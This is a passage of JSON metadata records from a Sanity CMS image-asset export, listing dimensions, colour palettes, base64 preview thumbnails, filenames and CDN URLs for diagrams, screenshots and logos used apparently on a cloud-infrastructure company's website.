0zbr3NpRtMG4sLDLq80t0+mKdoSS/yFhkLFu/+eMtn5VjClNpVbnadzhnlfr/cjQqlU6tNqg17yrQaAu0+kKdoVhftLZgbVlJ6RZMladgheWolRSZl7tKnavS5qn1ak1+nlqfLV+tyVdrDRpdgcZQrC9ZX7ju/f8AN1yiOEqvLvEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503d38","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c2522","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a97a73","foreground":"#fff","population":8.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceada3","foreground":"#000","population":1.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efc5be","foreground":"#000","population":1.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97a73","foreground":"#fff","population":8.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0554e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"paul-rogalinski-pinter.png","path":"images/sczeoy4w/production/e3322220d3f40885f42d29c423005afd16f9e5e2-500x500.png","sha1hash":"e3322220d3f40885f42d29c423005afd16f9e5e2","size":418720,"title":null,"uploadId":"448MSCGdfF3BET1L5PeuaI7aTx0CKD0w","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3322220d3f40885f42d29c423005afd16f9e5e2-500x500.png"} {"_createdAt":"2023-04-04T07:35:09Z","_id":"image-2cde657dede080bd448c0faec22ad437d5a7c416-3840x2160-png","_rev":"vOsSHiJII2yR1stA8UTVRs","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:35:20Z","altText":null,"assetId":"2cde657dede080bd448c0faec22ad437d5a7c416","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB5ElEQVQokXWQSY7bMBREdf+LBMgRsgiSINsGbHTHg6zBpMR5lEhqoCg6UGcdoDb169fiVaHsC3TxURuAjLTRuCz0hKlCdKRy1WOyPg8hD0PgbXk9ne4VYWYzx/FV6DFDvNwqfatlg3zPVya9lEooz1VkKgqbtNuNDQyC+nIvSwLJImy2/lUYl6nc2n45l8O3N/b9xOt+1NoJtSCeANk6lriOUk0I6armt4euu4np3fpcSLt3fG9QervbLz/br7/AtVFSDlQskKYGHxEWK5cTQK5sbdlaiIO0B06BRLq08XyfTlfx4w3+PtMGGso0ZqGjK6Sxp5Hpjeu1p6HthmdvqZiM2w9mJNKfZj1d/eVhPkpzqTwkMxUB87mjM8QT5qu0SdpI5NKxGfGFqU2Pn2VpMyRbDXwDzOUxvpcTREEoz+QCSKy69YkjV1HquWdzhZaqX544fjK/CuszNzti8YnCtfF/6gkix4XFfG5xesDU9BuVq9ALIPPtOZ1L/1FNSHwy62HjOhKVkEiAREAiFiuTMxFrz7aeJyJ3YY7BAQ73dnx/jJcmYBmPMuYOMcfUooZdjbs+lPW4H3Y4rHHZuCzthtgEkH8i37MgbbQhFx2xHbFczdYfG/xPxmU9JjUkNW7GpX/PfwHNnWCsiKwEdgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414a82","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1162a1","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#516d96","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bb8ca","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cdef9","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#516d96","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce681e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"qovery-diagram-2.png","path":"images/sczeoy4w/production/2cde657dede080bd448c0faec22ad437d5a7c416-3840x2160.png","sha1hash":"2cde657dede080bd448c0faec22ad437d5a7c416","size":188460,"title":null,"uploadId":"CptLsIOUHC2kdrxaBVZbm1eawPzv1CL2","url":"https://cdn.sanity.io/images/sczeoy4w/production/2cde657dede080bd448c0faec22ad437d5a7c416-3840x2160.png"} {"_createdAt":"2023-04-04T07:38:07Z","_id":"image-42fcd5de2726379ffc475479043c7ecd477a348b-1872x1210-png","_rev":"doctNA9eTfleifdZvjuWek","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:38:18Z","altText":null,"assetId":"42fcd5de2726379ffc475479043c7ecd477a348b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5471074380165288,"height":1210,"width":1872},"exif":{"PixelXDimension":1872,"PixelYDimension":1210,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC4ElEQVQ4jWWR3WscVRiH588RwcbaNPEj2tCCtvgv2Au9KBS80gtv2gtBQ2qSttluN5npZt1OG0n9oIIXeiEoWDGtglWLSmeT+dxJmo3ZnY8zn9l9ZGbTVfHAw3s4cJ7ze88rPfHks4wdmWb8uZc5+vxJJqZOMfHiqWGdOslksX/hFQ5PHOfQ+DRPTxzn8OQJxo5O89SRlzg0foyx8WmemTzB1LFXkU6/doZz59/jwsUqc4tLzFdkLlYVFq7IzFeWmFuslXxw6SoXLlVHzC5c4f25yyUz8xXOvTvLmbNvI11euMq99Z8wLAdNd/ijZaJtGhi2je22sV0Xx3Vpb23jbj+i7W5hOy6W08a0bAzLxrQd1u/+TGWxiVRXbqC3TOI4o+dHdP7y2Ov2CEVInMYkaVKS5zn7+/slWZ6TZVlJng3PjU0XdeUrJEVW0R7qCJEgwojQDwmDkDhJyPJsRCEsSTPyJBnWg0f6/T622WGteQdJXr6OpulEUUoSp6RxTBr/k6h/wON0+4Eg73Tpi4jBYMCAYg1w7R63V39BWl5uomlG2XIcJ8RRNCSOiYoqBHEYEglBEsckXY94a4c8EKWQkdDj9uoDJFlWabWMMmEYRvi+XxIEAb7nETzGDxBCEIUhwgvIkvQ/Qtvs8NGH3xQtN/n9tz/Z63Txej6eNxQWeIUoOBAdpBZRRCgEaZr9Swim4bBSXyuGcpNf791nx2zT3d2j1/P+L4yiUlgQhiG+H5AkSTmMQfGPgwGGadNorCLdVL/g4YMWwW6PMBD4QVBKIjEUFBfTNB1RphSCPM9G6YqWHd1CbdxCqlaarH//I5uazuaGgaZt0NI20HUD07AwTRvLcrCsNpbpYhptTN3Fbe+ys91j55FHx9rl/td3qc0sI73x+pvMzixQqyrUatdYWqqXyHIDRWmiKNepX1ulUb/FivIpDflz1PqXrKnf8rF6h0/UH/hs5Tvk8w3eOv0OfwN2IHXBgz1VLgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353659","foreground":"#fff","population":1.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05040b","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#453e7f","foreground":"#fff","population":1.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1bcac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc96a5","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#453e7f","foreground":"#fff","population":1.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d54968","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"qovery-aiven-ui-1.png","path":"images/sczeoy4w/production/42fcd5de2726379ffc475479043c7ecd477a348b-1872x1210.png","sha1hash":"42fcd5de2726379ffc475479043c7ecd477a348b","size":807966,"title":null,"uploadId":"mBMLp8gRAB7dGgWDhKYdN7GQMZWdlrEd","url":"https://cdn.sanity.io/images/sczeoy4w/production/42fcd5de2726379ffc475479043c7ecd477a348b-1872x1210.png"} {"_createdAt":"2023-03-31T13:14:49Z","_id":"image-1587c0972d61286c61d8c622378798c668d42a15-952x716-png","_rev":"IfootSjA4c56MZIbwTSzg4","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T13:15:12Z","altText":null,"assetId":"1587c0972d61286c61d8c622378798c668d42a15","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.329608938547486,"height":716,"width":952},"exif":{"PixelXDimension":952,"PixelYDimension":716,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABpElEQVQ4jXWTV47DMAxEdf/z5SfNjlNc0ovjmoiLRywNJesVQEgixWEZykmwvPfDXlWVHI9HFc5938vj8ZCiKORwOKju/X5/+LHcGCDOp9NJkiRRAbQsSwWLokhWq5XaefcvIMoQEJDlcinz+Vz2+708n0/dF4uFCvYQ0P/6Ort8CwCbzUbiOJb7/a7lkSU6BPuYnxtyDSIhXddpRlmWDf2q61p1ZIc9zMyWI+22bfUBTgYGATjneS7X61WzvFwuqqN/ZIiv915er5ee8XdEs0eAkMXtdlMmyS5NUwVlX6/XstvtBqYJUpalnM9n9Sews0cmgFupsAkBkDObzWQymch0OtW+4rfdbvWMnZ0JcAZAVMRmj4iA8pDRAYAzQQyMBJIkUSBsiKN/9IPGc0YohTJMKIU2sHO3gJRbVdWgx+9jbGwBihO94xF9RYwo+z2Q4b1XMjgrKQNKMPE2MpQDs9xhkUwol0AEHR0b/5Wh/WOc6BPA3BGYhiRAKTf0+TPYoZGe2qhAFKWigwQIAJBWfANqhiFg+EsoFVD61TTNqC4EtJJ/AKOUf/JSCD5BAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":0.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":0.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"terraform-diagram-2.png","path":"images/sczeoy4w/production/1587c0972d61286c61d8c622378798c668d42a15-952x716.png","sha1hash":"1587c0972d61286c61d8c622378798c668d42a15","size":100844,"title":null,"uploadId":"AXp7LqbMDUkR8T5WMQyTCp9cInVlJuGi","url":"https://cdn.sanity.io/images/sczeoy4w/production/1587c0972d61286c61d8c622378798c668d42a15-952x716.png"} {"_createdAt":"2023-03-27T09:45:14Z","_id":"image-ffbafa612b17d48a1b368bde09f353cb94288d34-1020x463-png","_rev":"qpZIxc6VIBGcBvOUlyr9a5","_type":"sanity.imageAsset","_updatedAt":"2023-03-27T15:37:08Z","assetId":"ffbafa612b17d48a1b368bde09f353cb94288d34","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFRyjI00Rp?c.7uOTxxbv$i^~D^kx[OBM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.203023758099352,"height":463,"width":1020},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2UlEQVQokW3SS2sTURjG8fl6UsSN4sYvUVTECuLCrUgVTK2gUHDRTReVWhUsWlRM0mBvVpKYi7kPTTKXTGbObeYvM20oERe/xeEcnnM4z2sBxLHBdRz6vR7BZEKSJIRhiD2wccYOQog5UkqMMdm55B9WGhjqmMowoNge0/EihNH0gx77/X0qpxXG/gjf8/BcF89zmUx8oihCKYU+N7sgC+z4guelLnc+/marOsKOfL46X8i1VtjobdB2moSex/RcGAQIEWUvVak0VGviOMZKFz8bbW6urHNp6TG5zR3+DPsUhnnW6mu8627TdzuocIqJZkKMiDBKEit1Jg3UGms0GrFXKnHr7j0uX73Ok2c5avUazV6T4q89yq0y3sRBySlGhxgVEsspsQiJhbggZcaybZtCPs/txUWuLCzwdHmZeq1Gr9Pl5PCYVqOZ/ZlUEUoLlI7QWmC0JNYXL8sYjeX7PtWDQ14uPeDhtRtsvXiF3WzhnlQYvP/EuLhPOHaQSqH0GakEQqXhCm30HCsIAtxqnc7qaxr3HzHY/IDfbCF2C+jVdcybHYw9zFqc0WloWoZO29Vze1Y6b9Ieknz7Adu7mOMK4nSEPiqTvP0M3w9IvAkJzM1b2uj/5vAv/GOahQVdIt8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3b3c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0fc211","foreground":"#fff","population":0.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0fc211","foreground":"#fff","population":0.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbea7","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6594","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#445c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#11b2f5","foreground":"#fff","population":0.65,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ffbafa612b17d48a1b368bde09f353cb94288d34-1020x463.png","path":"images/sczeoy4w/production/ffbafa612b17d48a1b368bde09f353cb94288d34-1020x463.png","sha1hash":"ffbafa612b17d48a1b368bde09f353cb94288d34","size":88037,"uploadId":"XeVuaJaY7HjCKaekFwOZYPMjXZYseXDa","url":"https://cdn.sanity.io/images/sczeoy4w/production/ffbafa612b17d48a1b368bde09f353cb94288d34-1020x463.png"} {"_createdAt":"2023-05-17T13:20:19Z","_id":"image-22568a0348d4ac3a56f4ad15a1472f8ca1770943-1239x997-png","_rev":"THDGXgbtbTWNUZ8wxzPMtL","_type":"sanity.imageAsset","_updatedAt":"2023-05-17T13:20:19Z","assetId":"22568a0348d4ac3a56f4ad15a1472f8ca1770943","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIFYib=|-N$yoe~U-pI@o~NHM_kWx_tRt7x]ozt6oyt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.242728184553661,"height":997,"width":1239},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEOklEQVQ4jSXMa09TBwCA4fN5X5ZtWZaYuUyRbU50CsbN4QRBkXFp5Y6lFQothba0pfeeQ6+nl9MeKJRyk8pV0E2GYypO3RYXR1yIi9k/evdhzw94hLtb29wpLaMmoyhRkYKaQZHc+Iwd2LoasN/UEHRayefzLMwViXtGsetaMJlu0mvV027qod8ywNDoANd76xHe/POW1wcHPP7xLrubd3i2t8PeapHl6BhZh57IqAHRYUXNZrm3ucFaPk7KN4gYc+HJBPEm/EQSE4jxAHpXD8Lbw7/59/A1B/u7/LG7zesXTzh4uMHebISVqJ35kJ3pgINM0MvtvMLmTJR8ykmmECe3pCJPxZmQQ4RkH8OSEWF/Y5E/H27xcmedZ9vL/P7TJq927vBkMcV9xcduTmQ3K7EouZgLu1hJOVlQPMzNKSwuFUgpUSzjg9xy6NCN9yBsZYI8Xsyxv1Lgl9IMj9eKPF+fYa8Y+z/MhniQCrIkjjEXHGEtYmY97aQ0k6KQTyNJbvoGO9EYGmkcuIqw4DGwOj7EotvKctTPZi7CmiKykAmTTcZQomFSbhd+6wh+l40p0UJJdlDMTZBIBHC5hukztKPRNVDf9x1CdqiJtLYGf10Nsb4upr0WIkEvltQC3eoPdMqrdPtVmt0K18UC/bFJwqkEclpEjI3jDVgxW3R0DWnQ2jQIsqmFWHsN7vpvmejRoLhHcUSyGIpPGNk+xLr5F/qFX2kt7FM99ZTz8gO0sQV8yThKNoyajeIL2Ol3GjBIQwgFTx+qpY2wrpmYWUcy6COYLqKsPOLn5294+uKQ9Z3fSGw8QzP1iLLAFpW+eRzxDEszWVbm8qSSEawBGwPiMMLelIfN6AiT40NIDjuix09KijKrFFgrPWCrdI+SmicSz3EjUOAbT5HL7klsksxSPsvq/DTZjMyYz0bHcAfCqxWZ5/NhlpMidrsPs9FK0O7AE0xiEOfo9qj0mN203RykU2/GZPdhGAth84jM5tKUCiqZZBSrw0xTz1WEl6U4L27HmZUjdOmtNLT2YRjxY0os0iguUWlTOTMwwTmNkav1DfS2ttLZa8RoGScrJ5ifzJCRI3h9dgzmboT9oshOXkLyeKlt0vPVlS7qbvnQBgvUeqY5NyxzdjBMRdsIn52/zMmKSqpqW9HqhhGDIpOpOGomTk6VSSoxhN2pIKVkAJNxhDMXmzhWdY3T3w9QpfdzZkDidH+IylteKm6YOFJZx4cnzlH+9XXqtAZGbU6iUoh0Msp0QWVmvoBwXw2RC3m40WHg+OlLHPniAuWXtJxsMXGi3U5Zl4PjGhMfX9by/qmLfFBeRfmFBi42dNKjH8TldCCJfpIZmfRkFmEtHUB0jHGtuZeys7UcPVXN59WtfNlo4FiTkaPNQ3xU28m7FdW888kp3vu0ghOVV6iqaaGprReT2Yzb7USKSoSTcf4D6tn1ftHpbGIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#263948","foreground":"#fff","population":5.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a6d99","foreground":"#fff","population":2.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cdab9b","foreground":"#000","population":5.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdab9b","foreground":"#000","population":5.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0806d","foreground":"#fff","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a98873","foreground":"#fff","population":4.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e94c3","foreground":"#fff","population":3.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"supermetrics-interview-video-screenshot.png","path":"images/sczeoy4w/production/22568a0348d4ac3a56f4ad15a1472f8ca1770943-1239x997.png","sha1hash":"22568a0348d4ac3a56f4ad15a1472f8ca1770943","size":1409893,"uploadId":"8V8Cw8z9fT4UZbREnBUgkibphS6gPMF4","url":"https://cdn.sanity.io/images/sczeoy4w/production/22568a0348d4ac3a56f4ad15a1472f8ca1770943-1239x997.png"} {"_createdAt":"2023-05-04T09:57:04Z","_id":"image-90b5e83431dc61d2f8b601b7820c3c67df46aabc-2500x1308-png","_rev":"o70iE79wfiNAcPICaiF2R4","_type":"sanity.imageAsset","_updatedAt":"2023-05-04T09:57:04Z","assetId":"90b5e83431dc61d2f8b601b7820c3c67df46aabc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M972E{_NM{IUV[?v%MM{M{kCD%IUf6t7s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB0UlEQVQokW3R/08SYRwH8Oe+uohmml1lG41fdD3Pcwq44BQlgavtbkC69YMbKkHd8+U4PDWX2DS2tlYiXQXC39uOVStze//4fu3z+ewDZJ1Npv2ZlUMtezibO7q3+lZbPtCWD2ZzR7Fi+2H+3WTGlxc4gOSaRJLNeftsdbu7tt3N7V4UXgXF+tf1Wi9f65mNIFs9f2S2JxLu/1KABERTXmLzY8kdVJrDknu54Y0q3tCifZuFWa/15uyzSMq7KhEVEQE3k01c6Visv+GNyu6lzfqFelCoBzbtW+TH090eLHeiS61/MKICZqLOQCThwnLHZoPNvdELb/j8zXdj60u22jUb38xGsLZzMWedRpJN4feqAqIAcQFzUXdD/Lj0ofg6KPFByR2sVM/jz05i+eO4+T5unsSK7WljX9GZAIkIiQwdCRFxjCXdBTcWeaxwrFc6T15+MrY+z1unt5ZaKmaqzlWdKTqTMRUQFSCRkaMiR0FUxlwMMQcKJlNJV0vvacb+TMaPpjwJh9W/AyARQ+bIiCiIKphJ44AJ5NxdJA8y3lTaVxf4n/aVr8jYUbAjhWOZgpmImYgYUJFzJ0HuG63bGV8Z42tein5hGdHxIUxAHED6EzsDmGY0UJUWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e2b44","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":62.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acaccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbda","foreground":"#000","population":0.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545cb4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"use_postgresql_domain_rules_to_validate_columns_of_data_social_media.png","path":"images/sczeoy4w/production/90b5e83431dc61d2f8b601b7820c3c67df46aabc-2500x1308.png","sha1hash":"90b5e83431dc61d2f8b601b7820c3c67df46aabc","size":119409,"uploadId":"i2MaLzZIx3YeUk2U8ds4UhAQLGucs792","url":"https://cdn.sanity.io/images/sczeoy4w/production/90b5e83431dc61d2f8b601b7820c3c67df46aabc-2500x1308.png"} {"_createdAt":"2023-05-26T11:45:08Z","_id":"image-fe1569bcba10665f27187fe097ce332ff31e42a2-65x64-svg","_rev":"3YxqQWUIXkU9Q9rCEhJ9EN","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T11:45:08Z","assetId":"fe1569bcba10665f27187fe097ce332ff31e42a2","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.015625,"height":64,"width":65},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADA0lEQVQ4jYWV34tVVRTHPwND9SC+WczMXWdmLGe669z54TUcL4OKIBiXmZpmFIuZcX4lPRX0WP0FIYIIBQWFhPWgIkVC1EOUqA1K+YPmoREUFX+UFUnDCCln5T773HPP5V71YbPPPufs7/6u71rru6E9BFEI8tCWd89PIfo8otOIforoBUTvILqE6EVEDxPoW4gWEV1BTkHcvhByeTxYS6ubmxB9BtFhRPcjOo/odQJdIgjvEYT3CcJlRH8n0HOIHkB0EtEORJtp6/JYMTMPlkN0N6LfIXobUQdg8RCtDr+OEtbziL6TRNQcM6U1BlyF6OuInkR0OdnoNkXx/FwhYk1PRHvmnT/gP0R/RfRdRDuRsMmBPYloGdFvYjDPqrIpIuyNGC1FvDYYUez379PvoQO9h+gZRGcQXekAVyO6N9amwqzCwDEbK0V89rJxdNTYvcnQXv8tBVYH+i+iXyBacoA7EP0xPqnKzs8b1xn7ysZvu4wr08bnI8bQgNGZHJiNRHQh1hPRPYhervuhq8czOv6q8cec8eeccX7CeG+r0dtn5GItLaPnX4gec4Bf+0VGO/dzsd94/0VjcZdxa9a4OWtcmzEOvGRsfqGS8SiNSPRuXKeInvIa1AAag0Xj42EfqhuXp40bs8aXY0Z5oFo+QQrokvP3wwE3FI0Ph4xLU17DhUnj6oxxZNTYtt4D1jJMARuHXOjzev0y7rX7edyD7i8bA8VHhrynYVI6Q+OVknFwxPhhp/H9TuOrMWNuk8UJk2xSwpqkbG9YNm5DT58H+GDI+GjYeHuLsX5tbWkF9WVTW9hZod3sumNqo/HGZmNwndGRqcH437rCDp+oa71qv0asLkRsKLoi9/3s66/S05b08+nE7lZCm2bN4URDc3i24A3iseagTRA4wDBrX98+1L6q6wb2FTbTHvuhQveqiic+nTHYn2KDdU4duIS5A2L2TuuzicFOpAYbJM6fPrTnoaXg2LoroBvRKUQ/Sa6AfxLhFxE9hOib6RXgDDpX8MQeXAf/AzISx5had8nmAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#341c2c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04942c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04fc66","foreground":"#000","population":0.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#01973c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7bfdaf","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#548c8c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04fc66","foreground":"#000","population":0.34,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-mongodb.svg","path":"images/sczeoy4w/production/fe1569bcba10665f27187fe097ce332ff31e42a2-65x64.svg","sha1hash":"fe1569bcba10665f27187fe097ce332ff31e42a2","size":621,"uploadId":"C3UvovTMy5MFZZirlsp92sgOBQf5mZ4I","url":"https://cdn.sanity.io/images/sczeoy4w/production/fe1569bcba10665f27187fe097ce332ff31e42a2-65x64.svg"} {"_createdAt":"2024-09-19T06:27:12Z","_id":"image-5cc2ee9bc23f62a5859ef312842684078fead03d-1200x628-png","_rev":"qobFP6o3d5Cfo6v5hofTvf","_type":"sanity.imageAsset","_updatedAt":"2024-09-19T06:27:12Z","assetId":"5cc2ee9bc23f62a5859ef312842684078fead03d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5ATHs0c:;B@{HKi-s$GETT000VCK-=Dbr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACw0lEQVQokR3O/VOSBwDA8edf6FYBgryLpkaGqExLEQji5XmAHuR5iolCKCBgGakdl9mxReX15my2umrupbXW7br24mntl/Xbuqvbftm/892dn7/gI+w3qJi78jicZaw9ZXSWGfa3z3DAWEJjrqK1nEdrvYDOtkib/RIGx2VM3S0c/Q9xHvsF1/g2J0I/sKQ2eFrOIWhMGbqOlHAOnsM5uMDhgTrdrjqHXIv0DjToHbhMz8AVjniaHB1u4Rq5iXt0HU9gC0/wFf3+bbyBH5mTV7mXn0UwdkzhGavjj6wQiF4lJH1BUGwRiLYISWuE4rcJSneIyhvEUpvEUl8jKd+QOPOSmPoHY+IOI/6fkEMtLk2cQzA6phgev0hIXCUkNYkmryPKa4QTa0SSt5Am1kmo90mom0jpB8SVRyRPb5HK/kxmZod07i2B6HNio00WgkUEgz3L0GidE9Ere8NAtElQvEZQvLE3jCTvIqU3iCtfEVcekFAfEZGfEJafkZr8DTW3i3Jqi7qvxKYviKA1Z+h1V/CMLTI0uox7ZBn3sQYe7yqfepsM+65xPHiT8fBt/NF1/LENvOGHjMeeEUn9SjLzhor6mO/EJO9OdiLs06bRGDPobTn0tgJt1ln09jLtjhrGzgVMXRex9CxjP9ygw7mCo+9z+ka+xCe+IH56h/T0O2rZ53y